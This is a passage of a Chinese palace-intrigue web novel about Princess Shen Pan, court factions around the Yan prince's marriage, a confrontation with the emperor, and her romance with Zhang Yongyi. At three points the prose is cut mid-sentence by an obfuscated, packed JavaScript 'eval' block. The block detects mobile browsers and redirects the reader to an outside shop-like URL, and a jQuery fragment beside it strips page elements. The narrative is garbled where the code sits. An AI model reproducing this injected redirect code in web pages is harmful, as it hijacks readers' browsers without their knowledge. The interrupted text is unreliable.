“公主不可……” 但沈磐已经牵着皇太孙退出了屏风,云勉便只能应下,张永一扫过他中衣下露出的伤,朝他郑重地一礼。 云勉还礼,却叫住了转身要走的张永一,“张指挥使。” 张永一驻足。 “家父曾受靖节都督张养元的救命之恩,我身为人子,无以为报……趁此想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111250|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请张指挥使闲时过府一叙。” 张永一稍愣,即刻应下。等他退出厢房,就见长缨卫刚带了皇太孙离开,而沈磐站在门边,似在等他。不过等他走近后,这才听见长缨卫说着受袭当时的情状。 沈磐止住长缨卫的话,张永一问:“为何不查?” “那些畜生都打死了,有什么可查。” 她语气淡淡的,像是透着无边的苦味,苦中还带着倦。 “查养犬的人,查杏园的管事……” “像彻查紫微宫一样地查吗?养犬之人听闻自己闯下大祸,当即自杀,而杏园的管事,呵,都是宫中点派的贵人,再说这是临川郡主攒的局,总要给她留几分颜面。” 点到为止,沈磐不再多说。 张永一又只能沉默地跟着她走,不知往哪里走,忽然她又想起了沈斫,便问:“沈斫在哪里?我去看看他。” 长缨卫即刻指路,不过数步就是,张永一刚要上前敲门,余光瞥见沈磐怔愣原地,侧过脸望着东厢不知看见了谁。 张永一扶着门板转身。 嵇阑! 前一刻的嵇阑应当还在和下人发火,此刻的嵇阑却挑眉冲着沈磐笑。 这种笑太不寻常了,几分风流顽劣之中带着一份邀功请赏的谄媚,这些是连张永一都能看出来的意味。 而沈磐,本就因为连番波折而疲乏暴躁的心情直接写在了脸上,此时此刻,她更像是转着手中匕首的恶匪,下一瞬便会阴晴不定地将匕首狠狠扎入人质的血肉。 “开门。” 这是山雨欲来前的风。 张永一下意识地觉得,他不能开门,开了这个门,这连天的雨就要漏下来淹死人。 但门开了,沈磐一掀裙摆抢过所有人冲了进去。 张永一紧随其后。 这屋里不知何时挂下了收好的帷幔,黑黢黢不见天,像是一屉蒸笼。不不不,这个地方,空气中的这种糜烂昏沉的味道,耳边时隐时现的细微响动,还有脚步声,瞬时让张永一想起了在牛马巷的那无名酒馆二楼的一处角落。 手心贴着沈磐肌肤的那种灼烫感立时呈现。 张永一浑身一震,回神就看见沈磐一步步退入了自己身前,撞上了自己的胸膛也不知道止步。他刚要开口,就被沈磐用力从正门推了出去。 绊到门槛,摔跤是必然的。 但沈磐由他垫着,摔不疼。 可她伏在他的胸口不动。 张永一慌得魂都要丢了,刚撑着冰冷粗糙的石板地要坐起,就看见沈磐抬头的一刹那,她抹着口脂的嘴唇扬起半边无力的笑。像是嘲讽,像是无奈,像是勉强,像是怨恨,独独没有一丝真正的高兴。 可她搭着自己的手站起,连手都忘了要早点从自己手中抽回,以免光天化日惹人闲话,她只是似叹似骂地自言自语:“高兴啊。” 然后她的视线才落在了他们两个人的手上。 沈磐抽回了手。 ** 齐家人很快就找了过来。 因为嵇阑在这儿。 她们听闻自家的姑娘是应嵇阑的邀请去杏园小叙,在男宾院落这里找到了嵇阑,却找不到她们家的姑娘齐妙延,齐妙延的哥哥齐元杰直接打了过来。 “你究竟把我阿妹藏到哪里去了?” “你与我阿妹的婚事根本不可能,你还这么纠缠不放究竟有什么图谋?” “你与长平公主早有婚约,却背地里纠缠我阿妹,嵇阑,我从前以为你长着这样的皮囊所以风流了一点,今日见,原来你就是个人渣!” 然后齐元杰就看见了一边站着的长平公主沈磐。 这架是自然打不成了。 但嵇阑肯定是挂了彩。 齐元杰满胸愤怒,“公主殿下,方才的话你也听见了,你也该认清这嵇阑究竟是什么货色!” 见沈磐无动于衷,黑沉沉的眼眸里连情人该有的愤怒都没有,齐元杰转而又揪上了嵇阑的衣领,“我阿妹到底在哪里!你把我阿妹怎么样了!” “嵇阑。” 听见了沈磐的声音,齐元杰撒手,静待被背叛的痛恨羞耻冲昏头脑的长平公主来收拾眼前这个人渣,但再度出乎意料的时,沈磐面色平淡,声音也极其冷淡,她站在原地问:“你与齐妙延究竟是怎么回事?” 55. 第五十五章 难诉情(九) 嵇阑一抹嘴角的血,“就是公主你听见的这么回事。” “忠义侯一回京,你们嵇家就这么着急要拉帮结派吗?” 此言一出,连怒血沸腾的齐元杰都懵住了。 嵇阑笑道:“公主您这话就不对了,不过就是嵇、齐两家要结为两姓之好,齐大非偶,但此‘齐’非彼‘齐’,公主殿下出身高贵,臣思虑再三,觉得自己这副模样实在是配不上公主。” 这话把才冷静下来的齐元杰惹怒了,他破口大骂:“你配不上公主,你这个渣渣就能配得上我阿妹?你癞蛤蟆想吃什么天鹅肉……” 幸亏有人拦着,不然嵇阑又不免一番皮肉之苦。 沈磐甩甩头冷笑:“你们嵇家一门两侯,你不仅捞到一个三品指挥、还有了世子之位,的确没必要再和本宫虚与委蛇。” 她又看向齐元杰,“你父亲齐天觉掌管皇城兵马司,万余人,甚至可以围城,齐家的确是而今最有权势的将门,勿怪嵇家这么看重。” 这话说得一点也不客气,齐元杰再生气也被迫冷静,他朝沈磐高声道:“我齐家从未有过要党同伐异、拉帮结派的不臣之心,还望公主慎言!” “是么?”说罢,沈磐转身,“你知道你妹妹在哪儿?就在这屋子里,这是燕王的厢房。” 她驻足回头,一字一句尖锐道:“齐妙延和嵇阑私会,却要出现在我弟弟的房间里。” 齐元杰彻底没了声音。 沈磐尖刻冷笑:“本宫还以为,是哪个不长眼的趁着燕王酒醉,要献身上位……” “嵇阑!”齐元杰一把提起了嵇阑的后领,“你到底把我阿妹怎么了!” 嵇阑眯眼,难以置信道:“她居然能走错?” 众人俱是一愣。 张永一也有些震撼地看向那紧闭的房门。 原来如此。 可里面的人居然是沈斫和齐妙延? 沈磐也看向那房门,齐元杰即刻扔下了嵇阑,冲到门前展开双臂护在中央,是坚决不会让任何人破门而入要去脏污他妹妹的名节。可分明连齐妙延究竟在不在里面他都不能确定,但他只知道,一旦确定,一旦暴露在风言风语里,他妹妹就完蛋了。 沈磐低眉一笑。 如果有人会护着齐妙延,那这一切就都好办了。 她抬头看向嵇阑。 嵇阑冷笑:“说了这么多,原来是燕王殿下酒后乱性、玷污了齐姑娘啊。” “嵇阑你在混说什么!” 沈磐冷冷道:“去叫医生,一验便知!” “不可!” “齐公子,本宫知道你护妹心切,但燕王是本宫的弟弟,本宫断不容许有人污蔑他!” “阿哥……是嵇阑给我下药,此事和燕王殿下无关……” 齐元杰眼睛一睁。 沈磐看向他身后的门。 齐妙延在哭。 沈磐没有亲眼见过齐妙延,但听说过,她眉心长了一粒红痣,不笑的时候像观音,笑起来又有一对酒窝甚是可爱。 沈磐稳住心神,“嵇阑,你的手段真是歹毒下流。” 听见了这话,嵇阑反倒笑了起来。 他好像在笑自己是个傻瓜。 沈磐的心情越发复杂。 嵇阑知道她的底线是什么,她要的是衣衫整齐的风言风语,而不是此刻袒裼相对的风言风语。凭他的手段,要办成那样的一件事何其容易?这样,哪怕最后因为各种意外,齐妙延没有嫁给他嵇阑,也没有入燕王府,有齐元杰这样的兄长、有齐家,她还有一条退路。 可大路千万条,他偏偏要走这条料峭的绝路。 自此以后,他用嵇家的身份开罪、羞辱、逼迫了齐天觉,齐妙延不成王妃即要沉塘,而他嵇阑和她沈磐,便要势同水火也再无重修旧好的可能。 是这样的,他借着他爹嵇阀的手,狠狠扇了永济帝一个耳光。 也掐住了齐天觉一家的命脉。 还松开了沈磐的手。 她这个盟友啊…… 把一切都做绝了。 再无一点转圜的余地。 嵇阑还是笑盈盈地看着她,似在说:沈磐啊,你也是个傻的。 我们从来没有退路。 ** 齐天觉已经进去有一会儿了。 卿澈来时,方继昌也已经等在了门外。 “卿尚书来了。” 方继昌与他互换礼节,“是为了三月补办的春闱?” “春闱”二字一出,卿澈也就不再隐藏自己的忡忡忧心,他拢着手与方继昌一同站到了宫墙根,这才轻声道:“去年是因为京里出了巫蛊案,陛下在气头上,再加上年末出了这件大事,六部五寺人才陨落,陛下这才想要在今年补办。礼部梅尚书以为一切事宜都比照往年就不会出错,谁料几次拟好的奏表都被御书房打了回来,梅尚书便来与我聊。” 方继昌:“梅尚书年纪轻,这么盲人摸象地猜,的确不是个事。” “可不,所以我归拢归拢春闱之事,打算来探探陛下的用意。近来听闻元辅大人忙于陈王晋封与燕王加冠之事,所以梅尚书不敢贸然打搅,今日既然被我逮着了,还望元辅大人不吝赐教。” 方继昌笑道:“卿尚书说笑了,老夫有什么可赐教的?陛下的心思不可捉摸,老夫又怎敢揣度圣意?” 知道这老头子与他藏掖,且共事以来一直藏掖,卿澈便不再多问。永济帝的心思,他能不知道吗?他不过就是想探一探方继昌这个首辅的态度,对永济帝是什么态度他一目了然,但对他这个直接送其登顶又间接逼走了冉琢明的外来人是什么态度,这一个月来,卿澈还没有摸到底。 但总归,不是什么好态度。 卿澈垂首,举起长袖盖着的那份奏疏,略略思忖过后最后试探道:“哈,也是,伯鹤受教了,看来这份奏表我得带回去与梅尚书重拟了。” 果然,方继昌的目光投了过来,卿澈便将奏疏晃到他眼前,顺势往他手中一塞,方继昌便也顺势读了起来。 他看了不过寥寥几行,便惊诧道:“这主持春闱的主考官怎么拟定了陈王殿下?” 见他的惊诧不似作假,卿澈便笑着将奏疏抢了回来,“嗐,不过是我与梅尚书胡乱揣度陛下心意罢了——诶,齐将军出来了。” 方继昌的心刚沉下去,转头见齐天觉果然面色阴沉地走出了御书房,正要走上前,就听身后引路的内监道:“公主,您先请吧。” 方继昌与卿澈回头,见沈磐朝他们拂身一礼,连忙收起各自的心思和表情去行礼,行至一半,齐天觉硬邦邦的声音便响了起来:“末将参见长平公主。” 他们两人对视一眼。 这是憋了火的。 沈磐还礼,随后头也不回地走进御书房。 一跪下来,永济帝就冷笑问:“是你和嵇阑一起办的好事吧!” 沈磐抬头,见霍辄面无表情按剑站在一旁,她不禁反唇相讥:“看来所有不利于陈王的事情,在陛下这里就都是臣谋划;那么所有要谋害东宫遗孤的事情,在臣这里,是不是都可以认为就是陈王做的?” 永济帝霍然拍案大骂:“贱人!你竟敢忤逆君父!” 贱人。 沈磐蓦地笑了,扬起头停止腰杆朝龙椅上那气咻咻的老皇帝质问:“忤逆君父便是贱人?父皇,我可是你的女儿啊,能生出我这等贱人的君父,又将是什么人?” “逆子!” 永济帝砸翻了手边的茶碗,霍辄终于无法眼观鼻、鼻观心地装死人,只能上前按住了要去踹龙案的永济帝。 “陛下消气。” 沈磐觉得眼下一痛,她睁开眼抬手一摸,伤口便更疼了,指尖也多了片血迹。 永济帝戟手指着沈磐,“你是想气死朕,好让你那宝贝弟弟登位!你个不忠不孝不知廉耻的贱人!朕怎么会让你得逞?” 沈磐又笑了,“沈斫、沈礴都是我的弟弟,但不论怎么算,礼义廉耻在上,登位的都该是皇太孙,怎么也不会轮到他们吧?轮不到沈斫,就更轮不到陈王!” 眼见着永济帝又要被沈磐气得昏死过去,霍辄再度开口:“陛下不要动怒。” 但沈磐听不出这冷冰冰的话语里有什么宽慰。 “来人!即刻来人!长平公主沈磐顶撞君父、不知廉耻、不忠不孝,给朕拉下去!” “父皇要杀了儿臣吗!” 永济帝甩开霍辄,踹翻了龙案,“你当朕不敢吗!” 沈磐抬手再一抹眼睛下的血痕,“那就再杀一次吧。” 话落,永济帝再度失去理智,像头失心疯的恶狼挣开霍辄的控制大吼大叫:“杀了你!好啊!那就杀了你!” “陛下!冷静!公主你少说两句。” 沈磐嗤笑。 “来人!快来人!” “陛下!不可!” 沈磐闭着眼,听得见永济帝的呼吸逐渐平缓,但他还是很气,气得就像是要被沈磐捏爆的一粒烂果。 “朕不气……朕不会被你这个贱人激怒!” 贱人。 她是女儿,到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嵇阑叹气:“公主啊,齐妙延与燕王生米煮成熟饭,燕王又答应要迎娶齐妙延为正妻,齐天觉对陈王一派心中有怨,局势一片大好,我们已经将了他们一军,这种时候就不妨让让,就算是装也要装出几分可怜来,怎么能逞口舌之快引得他们狗急跳墙呢?” “就是要激他们,尤其是激怒我那早就浑浑噩噩不知白天黑夜的皇帝君父,最好气得他一命呜呼,不死也露出点马脚,让天下的骂官喷死他这个黑了心肝的!” 嵇阑再叹:“现在好了,陛下没死,公主您还真就在承德门前跪了两个多时辰!若不是晋国公主出面,说你因为嫉妒冲昏了头脑这才顶撞君父,不然公主你真要跪到死啊?” “我倒希望沈碧别来坏事。” 嵇阑三叹:“你想的是好,想把陛下这个昏庸无道、喜怒无常的恶名坐实了,好让那些长嘴长舌的骂官来救你……可你想想,察院的御史、六科的给事中全给你争名,这名声大了,灾祸也就大了,古往今来哪个皇帝能容许自己的女儿号召百官、夺他的清名?牝鸡司晨,等那些口含天宪的骂官回过神、又或者被人挑拨,你连你死后的清名都保不住!” “嵇阑,长生殿不可长生,他早就容不下我了。” 嵇阑想起了紫微宫那一把轰动化隆的弥天之火。 “还有什么死后的名声?死后万事皆空,与我没有任何干系。” 嵇阑揉着太阳穴,“迎风执炬,必有烧手之患。” “这话该我送给你。” 嵇阑摇头:“火是我生的,烫的也只能是我的手。但公主你,也该趁现在给自己找条退路了,皇太孙和燕王都占着理,自有天下有识之士来助他们角逐,可公主,你终究是要退居幕后的——” “嵇阑,我们认识不久但你也该清楚,不论谁生了这把火,我都是火上浇油的人。” 嵇阑静静望向她。 “我从来没有退路,我也不想找退路。围三缺一,虚留生路,唯有破釜沉舟,方能险胜。况且,他们连这条虚假的退路也给我斩断了,我又能怎么退呢?没有人生来就想当逆子、逆臣、逆党、逆王,只有改换天地,才能去掉这个‘逆’字。” 一瞬。 两瞬。 三瞬。 嵇阑低头笑出了声:“那公主还冲我发脾气?” 沈磐横眉:“你自绝退路也罢,何苦把别人的路也绝了?” 嵇阑摇头,“公主啊……” 56. 第五十六章 难诉情(十) 沈磐等着下文,可他只是笑着摇头,摇摇头又笑。 嵇阑还是不忍说下去,只得玩笑道:“若非得公主今日这番话,我当真以为这日久生情的,对着我这张脸,公主也陷进去了呢。” 沈磐轻哼:“别自作多情,伤的是你自己。” “哈哈,不过爱与不爱、喜不喜欢都不重要,眼下燕王的婚事有了着落,公主若不想去蛮夷之地当和亲公主,那就得早些考虑了。” 沈磐也与他玩笑:“本宫眼前不就有个现成的吗?正好,借着今天的事,全天下人都能直到我堂堂长平公主竟也是个掉进情爱窟里出不来的,为着一个薄情寡性的浪荡子要死要活,连君父都敢顶撞,更不顾廉耻地要跟他百年好合。” 嵇阑笑了两声:“这玩笑可一点也不好笑,陛下想通过婚姻夺你手中权,公主若进了我嵇家的门,这要让我和公主演怨偶,不是给我增加难度么?臣家中一堆事呢,不仅我不肖父,我那弟弟也和父亲不大像呢,这可把人‘愁’得。” “哦?是你造出来的事端吧?” 嵇阑一个响指,“公主知我。” 沈磐冷笑:“我可不知。” “哈哈,怎么还记愁呢?那药我用的是最温和的,绝对不会伤到子嗣……”眼见着沈磐的心眼要越来越小,他忙转移话题:“只允许他们欺我,不许我还治其身?我不像嵇阀的亲子,嵇阙就像了?他母亲的妹妹嫁给了嵇阀的心腹解佳胤,我瞧着这嵇阙就长得挺像解佳胤的。” 沈磐摆手,“你的事情你自己把握,别玩脱了就好。” “难度挺大,所以公主就不要再给臣加码了。” 沈磐轻哼:“这天下就你一个男的不成?放心,我不会逼你娶我的,要收敛各种势力,我瞧着那救了璩儿的云勉就挺不错的,正好欠他们一个救命之恩,我以身相许最恰当不过了。” 嵇阑不禁大笑,“这玩笑挺好笑的,就是有点缺德。” 沈磐一勾唇角。 “不过我还是要多嘴,陛下想去掉公主手中的长缨卫,用婚姻就能困住你,未尝不会用其他手段打发了张永一。像他这样的人,化隆城难寻,托燕王的福气,公主偶得。” 沈磐顿时沉默。 嵇阑感觉得到她心里的不自在,便起身踱步,随着自己的步子一句句道:“而今把握住了齐天觉,公主手中就多了一支兵,哪怕这支兵不能擅动,好歹是种震慑。但公主身边总是需要些人手使唤,多多把握现在的机会,有利无弊。再说三月春闱近,要把握的事情还多着,一件件来,不能着急。” “那你呢?” “公主放心,嵇家我自会料理,而今踟蹰,只不过是最终让他们饮鸩或饮剑还没确定罢了。” “那你呢?” 嵇阑稍稍愣住,旋即笑道:“我?自然也不会有事。” ** 等嵇阑的背影彻底消失,沈磐这才有功夫考虑沈斫的十五加冠礼、接下来早早迎娶齐妙延以防夜长梦多、乃至三月春闱里值得把握的关键。她还按照嵇阑的意思,打算等明日张永一上值,提醒提醒他,以防他被永济帝轻而易举地赶出了化隆城。 但只在她这个想法落地的刹那,张永一就出现在了眼前。 “你怎么回来了?今日不是休沐吗?” 张永一站在门槛外,朝坐在矮榻上揉着膝盖的沈磐默不作声行一个礼。 觉出他心情不对,沈磐便更谨慎几分,但他一开口还是出乎意料地给她当头棒喝。 “公主,请下嫁于臣。” 沈磐一愣,双眸微睁。 她一刹那想起那个雪夜,东宫演花殿廊下的那句话,随着她少不更事的冲动和算也算不利落的心思一同炸响耳畔。 但她即刻反应过来:“你听见了?” 他不说谎直接应下:“几句话。” 沈磐垂下眼,撑着矮几站起,“婚姻不是儿戏,我这个人向来斤斤计较、最爱算计,你我成婚没有半点好处。你现在该知道的,婚姻于我而言不过是求个利,不论是嵇阑、云勉,或者是三月后新点上来的进士,乃至你,对我来说都是一样的,一心求利,自然不会有什么结果。” 张永一哀绝地凝望着她。 “张永一,你现在已经是长缨卫指挥使了,位居正三品,你想要的我都给不了你,功、名、利、禄、家、妻、子、女……”沈磐回望他摇头,“我都给不了。” 她走近一步,“同样,我想要的你也给不了。” 话落,沈磐不知想到了什么,不禁苦笑一声,“名分和情分从来不是捆死的,你在想,有了名分,天长地久,总会有几分情分。可我这个人鄙吝得很,名分和情分我只舍得出一个。” 张永一久久的沉默就如同一只金印章,一个印子下来,这胡乱的猜测也成了实证,且他的眼神从来都不对沈磐说谎。 沈磐说得很对。 好歹她的一丈之内只容许他一人霸占,他是丈夫,对今后所有上门的妖魔鬼怪他都有了出师之名,对外他小肚鸡肠但他名正言顺,对内,纵然沈磐真就是天地炼就的磐石,但天长地久,她总该会被自己揣在怀里、搁在心里捂出几分热的吧? 可是沈磐的视线落在他脚下。 她的声音也像一粒沙捻进了自己的心里:“可是张永一,你早已登堂入室,为何又退至门外?” 张永一低头。 高高的门槛,是一座高高的山。 横梗在他们两个之间。 她说自己已经登堂入室,可他还不信,见过她以“长平”二字驱遣窦凯旋,听过她在文正殿上的江山血恨,更见过那巍巍峨峨的紫微宫也似匍匐至她的脚下,长生殿不可长生,但他看着沈磐,觉得她就是凭虚御风的长生仙人。 他的不信就是这座山。 他的自私贪恋和卑劣也像是这座山。 鱼与熊掌不可得兼,他知道抢得到名分也抢不到她的心,但好歹,他占了个名分。他从不觉得她是个薄情寡义的人,只是怕和自己的这点情分会被自己的笨拙无知消磨。 沈磐静静看着他。 没有回应,就是回应。 沈磐又走了几步,转眼间,他们之间已经到了容得下这条门槛、但容不下任何一个人的地步。 “沈磐。” 沈磐应声抬头。 “我在你心里吗?” 登堂入室。 沈磐踮脚仰面衔住他的下唇。 他们极冷,这却又是一个极热的吻,热得连张永一想逃也逃不了沈磐的制刳。 登堂入室。 难道她还有两颗心吗? 张永一按着沈磐的后脑咬了下去。 他一直都在。 闻着她身上的香,他才知道,他一直都在。 宁远门外的雪天从来都不只是初见。 是重逢。 沈磐站不住要往后摔,却被张永一往自己身上揽,那条门槛还在,又早就不在了。 ** 沈斫就是在这个时候出现的,他在自己的燕王府里收拾地方,听见了沈磐被罚就抢了马狂奔回来,又听说大姐姐把沈磐送了回来,却又招来了嵇阑。他心里百八个炮仗在炸,便又气又窃喜又忧心忡忡地问过团圆,然后按照团圆的说法跑来了书房。 他只远远看见门口站着张永一,不见嵇阑的身影,脚步不禁更加轻快,如同踏了云般在瞬间赶了过去,他高兴地大喊:“永一!” 张永一好像还没听见,沈斫只能再小跑着近了些,语气更欢快地要喊他。 然后他就僵住了。 然后这对亲热得火点子溅出来能燎倒一排殿宇的男女便抬起了头。 然后三个人都僵住了。 光天化日之下,沈斫只想找条缝把自己填进去。 该死啊啊啊啊啊! 沈斫后退一步,通红的脸上大写着尴尬,“你……你们继续。” 说完他转身就要遛。 “沈斫!” 沈斫只能站住脚,不好意思地半侧身,聚精会神去听沈磐的吩咐。 “你站住,你还不好意思?那天你替齐妙延说话时,可没有这么腼腆。” 顿时,沈斫整个人都熟透了。 那天在回去的路上,他是抱着齐妙延向沈磐求情的。 沈磐定然心里恼怒,毕竟这是她的地盘,哪怕是白日宣淫不合周礼,但在自家还要规行矩步注意礼数未免非人,且被自己平白坏了好事,张永一也难。 “姐,永一,对不起。” 沈磐被沈斫彻底磨得没脾气了,只能瞪着他对张永一道:“你好不容易休沐,回去好好陪你祖母,听说她身体不大好……” “嗯,不过有崖然看着我也放心……” 他的声音还哑着。 沈磐抬头看他,刚好对上他眼中的温柔惭愧。 那天送别齐妙延时,沈斫的眼神也是这样的温柔。这是只在情人之间的温柔,是捧着护着舍不得磕到一丁点、但又想独吞霸占让旁人不得窥伺的温柔。他仔细去抹齐妙延的眼泪,又像极了爱人间的怜惜。 那时她只觉得,弟弟长大了,倍感欣慰。 而今这样看见张永一,突然有点不自在。 虽然这种她见惯了,但沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120933|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斫在前。 沈磐不禁更加恼火。 张永一道:“那臣就先走了。” 沈斫不敢拦,更不敢窥伺张永一,只在心里默默地给闯下塌天大祸的自己点了根蜡。 “姐……” “你的府邸可收拾好了?冠礼在及,过了冠礼宫里就会去齐家下定,你们这件事不光彩,大概过了三月春闱宫里就会给你们筹备,想来婚期会定在五六月,其实四月就挺好的,天气适宜,京里又热闹……” 边说着,沈磐边往书房里走,沈斫只能硬着头皮、红着脖颈跟上她。 “如果是这样,你今年估计都不必回宁远了,那陈王也不用就藩,但陛下一定要给他找点事做,眼下春闱就是最好的借口,他又是文坛上追捧的大才子,刚好配当个主考,主考捞不到当个副手也不是不行,放榜之后应当会有不少文士投到他的麾下,这样他们的实力又要提升,霍辄拿着‘武’、陈王拿着‘文’,文物双全,只怕你的日子要更加难过了。” 沈磐坐下,“所以你有什么想法吗?” 沈斫知道她早有谋算,便摇头。 “我就知道。” 沈斫低头。 “反正你是捞不上这个主考的,但总不能就这样便宜了陈王。” “姐。” 知道沈斫要劝,沈磐干脆眼不见心不烦,她兀自斟茶,头也不抬,“你知道科举之中最易出现的纰漏是什么?当然是徇私舞弊。谁当了主考,谁家的门槛就会被踏成平地,明里暗里的通融能缠死人,其中关系的把握又岂是陈王那个毛头小子能拿捏的?不过有霍辄,还有他的父皇,那些人也不会去为难他。但如果换了你,就算你再用心地办、再公正地守,还是会有舞弊之事,因为你的父皇会让舞弊出现,就是为了名正言顺地打掉你。” “姐……” 沈磐抬睫,“你倒不叫我‘磐磐’了。” 沈斫再度垂首。 沈磐轻笑,“到底是成人了,马上又要成家,的确要有点分寸。” 沈斫慌忙抬头,“姐,我不是要疏远……” “我知道。”沈磐挑眉嘲笑,“就你那点心思我还看不明白?长大了有点自己的心思是好的,总不是个又傻又楞的直让别人欺负了还不知道哭,以后最好别被瞧见你又被欺负了,被欺负了也别找我哭了,去找你的夫人,有事情和她多多商量。” 沈斫小鸡啄米似地点头。 沈磐心里高兴,又升起了怅然。 “沈斫,以后你就不是一个人了。” 那个雪夜,他说他孤独,甚至也头脑发热问张永一家中有无适婚的姊妹。她还想过如果张永一是个姑娘,他们两个人堪堪相配,只是沈斫心里还很别扭,只怕会傻愣愣断送这桩良缘。好在张永一不是,而沈斫呢,心里的这些别扭随着他长了二十年,最后又被他最不敢提的情势和情欲斩断。 但根还在,那种生而不详、为父亲所厌弃的自卑还长在他心里。 这是自出世的那一刻就被埋下的孽根。 孽根结苦果,好歹这‘孤独’不是烂的、不会蔓延,好歹能别去不管。 沈磐心底是真的高兴。 而沈斫却问她:“那你呢?” 二十来年他们兄弟姐妹共五人,生离死别又只撇下了他们三个,沈碧寡居却还有个儿子、还有座襄阳侯府当作‘家’,现在他沈斫也要娶妻成家,就又剩下了沈磐一个人。 这座公主府到底不是东宫,东宫曾经是家,而公主府从来都不是。 这是个下榻落脚的地方。 可沈磐笑着说:“你管?明后两天我就要把璩儿、玥儿接出来,以免呆在宫里受人暗算,云勉救了璩儿,我要带他登门致谢,顺便探一探他们云家的路,毕竟霍辄是武将之首,说起来就算没有婚姻作为纽带,齐天觉从心里应该是支持霍辄这个人的……” “姐,你和张永一……” 沈磐昂首,“嗯?我和他就是你看到的这样。” 沈斫笑:“好啊,我又要有姐夫了。” 沈磐沉默一瞬,“你不会有姐夫。” “你要始乱终弃?!” 沈磐一掀唇角:“你就管好你自己、别始乱终弃就行了,我的事情你别管。” “姐……” “沈斫,你是担心我会无家可归?” 沈斫望着她。 沈磐只是笑笑,随即拉着他起身,“走,该吃晚饭了,我都快饿死了,团圆怎么还没准备好……” 沈磐的絮叨湮灭于薄暮,沈斫不再说话。 她早就无家可归,可叹的是,他还是她的家人。 57. 第五十七章 不刊信(一) 从云家府上出来时,天已经近暮。 沈仪璩记得要顺路去观华楼给妹妹买喜欢的果子,便又缠着沈磐折路而去,等他买到了果子欢欢喜喜地抱着要上车,就见张永一坐在马背上,居然能隔着车窗与坐在车里的沈磐攀谈起来。 一见自己来,两人便打住闲谈。 “买到了?” 沈仪璩打开最上层的盒盖,“嗯,店家还送了我四块梅花糕。” 沈磐一扫那梅花糕,“这不是彩香记的梅子饼吗?” 沈仪璩一愣。 沈磐笑笑:“彩香记的梅子饼很有名的,供不应求,这观华楼怎么送起了别家的东西?” 说着,她端起那一篮,“既然如此,这梅子饼就归我了,算是路费,反正玥儿也不知道,你也好交差。” “好吧。” 沈磐将这篮梅子饼搁到桌上,正上上下下打量着这梅子饼中的蹊跷,不妨沈仪璩眼巴巴地吞着口水,腹中响起鸡鸣。 “想吃?” 沈仪璩点头,“还没尝过。” 沈磐笑道:“等验过了就能吃了——” 她随手敲敲这竹编的笼子,不妨听见了空响,便垫着油纸将四块饼全都取了出来,这样笼中就只剩下一张垫底的竹纸。说是竹纸,其实是张裁成圆形的竹板,竹笼是正圆的,但竹子不是,刚好方便了沈磐从并不贴合的边沿翻起一角。 底下压着张写满字的纸。 展开粗粗扫过一眼,沈磐不禁扬眉,“吃吧,没毒,这是嵇阑送的。” “嵇阑?他还有脸来纠缠姑姑?” 沈磐横他一眼,“有吃的还堵不住你的嘴?小孩子别管大人的闲事。” 沈仪璩只得抓起梅子饼。 不一会儿公主府就到了,沈磐收起嵇阑的手信,揪住转瞬要跑的沈仪璩,“该吃吃、该喝喝,不该说的别多说。” 沈仪璩只能点点头。 “公主?” 沈磐起身,迎门而来的正是张永一的手。 下了车,沈磐移开手理理自己的裙摆,“方才说到哪里,令尊与云信中有旧?” 张永一道:“嗯,当年在西南,一次袭击里云将军摔断了腿,又失陷在密林中,那里瘴气弥漫,所有人都以为他绝无生还的可能,最后是家父带人去寻,背着他从大沼泽里走了出来。” “救命之恩。” 张永一沉默。 “那今日云信中邀你前来,是与这个恩情有关?” 张永一从甲中抽出一份信来,“云将军即将还乡,在西南营房中收拾东西,无意发现了这封遗忘在信笺堆里的旧信,是家父写给家母的信。” 信封已被拆开,拆得既小心又仔细。而那信在他手掌,珍宝似地捧着,他多么渴望能从亡父的字迹里再觅得童年欢景,却又不敢贪看信封上的笔迹。 沈磐移开目光,“我去看看玥儿。” 张永一却牵住她的手,但即便天色已晚,黑暗里绝无旁人能窥伺半点,可他还如同犯了禁的盗贼,慌张地又松开手。 沈磐微笑:“怎么了?” 他的喉结上下滚动,却吐不出一个字眼。 沈磐无奈,拉着他的手腕往书房走,笑侃他:“不敢看信?那我陪你看?也不知你是胆大还是胆小,胆大得敢与我纠缠,胆小得连至亲的信也不敢看。” 她亲自点了灯,这才走到张永一身边。 他捏着信的手还有些抖。 其实从云府一出来,沈磐就看出他的脸色有些不对,她说不出这究竟哪里不对,总之她觉得张永一的表情不似是一个思念父母的儿子听闻父母旧事又与亡父旧友长谈后该有的表情。 沈磐覆住他的手,“到底怎么了?” “抱我一次。” 沈磐微愣,即刻伸出手勾上他的脖子,将自己送到他的怀里。 硬甲在身,张永一的怀抱是冷的。 但心是热的。 沈磐知道他心情郁郁,便垫着脚,拍拍他的肩颈。 她听见了张永一长长的一声叹:“磐磐,等哪天你不再喜欢我了,便和我直说。” 